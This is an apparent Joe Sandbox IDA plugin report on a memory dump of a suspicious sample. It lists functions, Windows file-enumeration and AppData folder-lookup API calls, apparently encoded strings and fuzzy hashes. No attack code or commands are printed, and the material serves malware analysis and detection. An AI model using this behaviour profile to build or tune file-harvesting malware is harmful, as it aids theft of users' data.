sqlite_rename_table, xrefs: 008D8464

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID: BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$no such vfs: %s$sqlite_rename_table
API String ID: 0-1885142750
Opcode ID: c3c629f4ecde86c7fda1e12fcab2e783e238c3259b3bedc271032bcb5d35dab1
Instruction ID: be920824b0c953c82a602a4b0ef413ebe572e99e59afdc0c7e647e7d14051c72
Opcode Fuzzy Hash: c3c629f4ecde86c7fda1e12fcab2e783e238c3259b3bedc271032bcb5d35dab1
Instruction Fuzzy Hash: 3702F470A00700DBEB219B29EC46B6B77E5FB50704F14462EE84ADB391DFB1EA44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008A33B0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(00000000,?,00000000), ref: 008A34EF
FindNextFileA.KERNELBASE(00000000,00000010), ref: 008A37EF

Strings

4oST, xrefs: 008A35A0
4oST, xrefs: 008A3494
4oST, xrefs: 008A35E6

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: FileFind$FirstNext
String ID: 4oST$4oST$4oST
API String ID: 1690352074-2236699556
Opcode ID: f469220a27b993f89273253e2aed47af13e1ba8318e68990e7336d4894c446b9
Instruction ID: f50629e53a780e922bfcb0f6833dcb07a4f93e286e366d919fa51ea8ab4f1066
Opcode Fuzzy Hash: f469220a27b993f89273253e2aed47af13e1ba8318e68990e7336d4894c446b9
Instruction Fuzzy Hash: CED18BB0D012888FEB25CF98C9947EEFBB1FF45314F248299E449AB382D7745A85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 008BB7E0 Relevance: 4.5, Strings: 3, Instructions: 736COMMON

Download Yara Rule

Strings

6l_, xrefs: 008BBD3D
4oST, xrefs: 008BC123
4oST, xrefs: 008BC29A

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AttributesFile
String ID: 4oST$4oST$6l_
API String ID: 3398192513-652797657
Opcode ID: 0e40bcdd6433b29b878a9a66dcd6d5c37fa357efb99e525e5819bf93b3ce82eb
Instruction ID: a2e6de8493578b683f5188c9916168e9772022419b3e8da36830046850a98e96
Opcode Fuzzy Hash: 0e40bcdd6433b29b878a9a66dcd6d5c37fa357efb99e525e5819bf93b3ce82eb
Instruction Fuzzy Hash: 918204B4D01299CFDB15CFA8C991BEEBBB1BF08304F244199D549B7242DB705A85CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 008A52A0 Relevance: 4.2, Strings: 3, Instructions: 400COMMON

Download Yara Rule

Strings

4oST, xrefs: 008A552A
4oST, xrefs: 008A5451
4oST, xrefs: 008A55B5

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID: 4oST$4oST$4oST
API String ID: 0-2236699556
Opcode ID: b17116e7593cd55aeb13e828c7ee569be82dcb5d1738706747c517cb46b0ac29
Instruction ID: cd044b66ade35142e2ab15c4066714ea754101364b1404ab84afcb50b6462c47
Opcode Fuzzy Hash: b17116e7593cd55aeb13e828c7ee569be82dcb5d1738706747c517cb46b0ac29
Instruction Fuzzy Hash: B802FF70D05288DEEF14DFA8C9457DDBBB0EF55304F1440A9D805AB382D7B95E88DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0091C8D0 Relevance: 3.5, APIs: 2, Instructions: 484COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0091CA85
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0091CD87

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 93ed0de80c3e9b35965d804e89b302bb2c61689de4a8fefabece2b0dd7ab8cc1
Instruction ID: 825f725f4e6c836a8344443d843033c255e0be960268221bf76e25af10c6f2b9
Opcode Fuzzy Hash: 93ed0de80c3e9b35965d804e89b302bb2c61689de4a8fefabece2b0dd7ab8cc1
Instruction Fuzzy Hash: AD029FB074470AAFDB15CB28C840BAAB7E8BF88314F04866DE859D7650D774ED94CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 008BC3E0 Relevance: 3.4, Strings: 2, Instructions: 879COMMON

Download Yara Rule

Strings

4oST, xrefs: 008BC85E
4oST, xrefs: 008BD0F9

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorFileThrow_std::_$AttributesFindFirst
String ID: 4oST$4oST
API String ID: 1030726901-3962470393
Opcode ID: 35ef8c6a120d73ae2016e6ea8465505060ffd352851072814f2564fc2ee631f6
Instruction ID: 6ce987c8611d654ae8f2b1434bff09e864f84f319bfef95e7ddc6c619c03bcee
Opcode Fuzzy Hash: 35ef8c6a120d73ae2016e6ea8465505060ffd352851072814f2564fc2ee631f6
Instruction Fuzzy Hash: C7A2DFB4D05299CFDB25CFA8C991AEEBBB1BF08300F244199D949B7341D7305A85CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0082001D Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 119226523288b722b6853d8b2a6263c7efa731c3a5adc2f78602557529edec4f
Instruction ID: 7a414f280562ed626ab18a9bb204a36f6da45e4207be3e162127dfc1853712d4
Opcode Fuzzy Hash: 119226523288b722b6853d8b2a6263c7efa731c3a5adc2f78602557529edec4f
Instruction Fuzzy Hash: A1B1BF7090062E8BDB29CE68A9596BEBBA1FF04304F14061AD892E7793D73199D1CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00843650 Relevance: 145.9, APIs: 1, Strings: 81, Instructions: 2368COMMON

Download Yara Rule

APIs

Part of subcall function 008C4050: GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC

Part of subcall function 008C3FC0: CreateDirectoryA.KERNELBASE(?,00000000,00000005), ref: 008C4005

CreateDirectoryA.KERNELBASE(?,00000000), ref: 00845AD0

Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C40FF
Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C4110

Strings

K@z, xrefs: 00845161
UYw, xrefs: 008452D3
4oST, xrefs: 00843741
O_w, xrefs: 00846333
4oST, xrefs: 00845112
4oST, xrefs: 0084400A
UYw, xrefs: 0084534E
4oST, xrefs: 00845519
4oST, xrefs: 008467E8
_Ys, xrefs: 0084506E
4oST, xrefs: 00843E4D
MXg, xrefs: 008443B1
4oST, xrefs: 00845674
4oST, xrefs: 0084537A
MXg, xrefs: 00845441
4oST, xrefs: 00845C36
4oST, xrefs: 0084635F
4oST, xrefs: 0084518D
_Ys, xrefs: 00843F63
4oST, xrefs: 00846033
HFd, xrefs: 008462BB
4oST, xrefs: 00844500
4oST, xrefs: 00845D48
4oST, xrefs: 00845F88
4oST, xrefs: 0084663D
4oST, xrefs: 0084615D
4oST, xrefs: 008464A0
O_w, xrefs: 008463AE
4oST, xrefs: 008442EA
4oST, xrefs: 008453F2
GoST, xrefs: 008437A6
4oST, xrefs: 008463DA
UYw, xrefs: 008442BE
4oST, xrefs: 0084501F
4oST, xrefs: 00844CA7
4oST, xrefs: 00843C78
4oST, xrefs: 00845F16
4oST, xrefs: 00843A9B
4oST, xrefs: 008445E4
HWg, xrefs: 0084445D
4oST, xrefs: 00844EE2
MXg, xrefs: 008453C6
K@z, xrefs: 008450E6
4oST, xrefs: 008452FF
K@z, xrefs: 00844056
4oST, xrefs: 00845750
4oST, xrefs: 00844B38
4oST, xrefs: 00844565
4oST, xrefs: 00844489
4oST, xrefs: 00843F8F
g[}, xrefs: 00846676
4oST, xrefs: 00843C06
_Ys, xrefs: 00844FF3
4oST, xrefs: 008456EB
4oST, xrefs: 0084465B
4oST, xrefs: 0084546D
4oST, xrefs: 008443DD
=J ], xrefs: 008457CF
K@z, xrefs: 008440D1
4oST, xrefs: 00845590
4oST, xrefs: 00844082
4oST, xrefs: 00843D23
4oST, xrefs: 0084426F
HFd, xrefs: 00846240
_Ys, xrefs: 00843FDE
GoST, xrefs: 008459DC
4oST, xrefs: 008446C0
4oST, xrefs: 0084626C
4oST, xrefs: 00843990
MXg, xrefs: 00844336
4oST, xrefs: 00844362
4oST, xrefs: 0084509A
=J ], xrefs: 0084473F
4oST, xrefs: 008462E7
4oST, xrefs: 00844A30
4oST, xrefs: 008440FD
4oST, xrefs: 00844DBE
4oST, xrefs: 00844D19
UYw, xrefs: 00844243
HWg, xrefs: 008454ED
4oST, xrefs: 008455F5

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorCreateDirectoryThrow_std::_$AttributesFile
String ID: 4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$=J ]$=J ]$GoST$GoST$HFd$HFd$HWg$HWg$K@z$K@z$K@z$K@z$MXg$MXg$MXg$MXg$O_w$O_w$UYw$UYw$UYw$UYw$_Ys$_Ys$_Ys$_Ys$g[}
API String ID: 2916759669-3780945421
Opcode ID: 4b66f79a32db9801c7b0fdb7b81bd10c3557ce6e5d0df361117f9d583c0b23e0
Instruction ID: 7a81dd9d2b248e8ca6ecf7899c435c2b1d91ee365b68c0329ead9f9edde64cdf
Opcode Fuzzy Hash: 4b66f79a32db9801c7b0fdb7b81bd10c3557ce6e5d0df361117f9d583c0b23e0
Instruction Fuzzy Hash: EB53C9B0D052A88FDB65DF14C894BEDBBB4BB48304F1041EAE549A7282DB346F85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0083E090 Relevance: 39.3, APIs: 2, Strings: 20, Instructions: 832
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007EB8E0: CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EBA08

CreateDirectoryA.KERNELBASE(?,00000000), ref: 0083E192
CreateDirectoryA.KERNELBASE(?,00000000), ref: 0083E8D5

Part of subcall function 008C4050: GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC

Part of subcall function 008B49B0: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,009380C7,000000FF), ref: 008B4A1C
Part of subcall function 008B49B0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 008B4A43

Strings

voST, xrefs: 0083E561
4oST, xrefs: 0083E5C3
4oST, xrefs: 0083E120
4oST, xrefs: 0083E458
4oST, xrefs: 0083E691
4oST, xrefs: 0083E358
4oST, xrefs: 0083E9C4
rPw, xrefs: 0083E535
4oST, xrefs: 0083E281
4oST, xrefs: 0083EB9B
4oST, xrefs: 0083ED77
rPw, xrefs: 0083EC78
4oST, xrefs: 0083EA9B
4oST, xrefs: 0083E61C
voST, xrefs: 0083ECA4
wWs, xrefs: 0083E5F0
wWs, xrefs: 0083ED4B
4oST, xrefs: 0083E869
4oST, xrefs: 0083ED12
4oST, xrefs: 0083EDEC

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
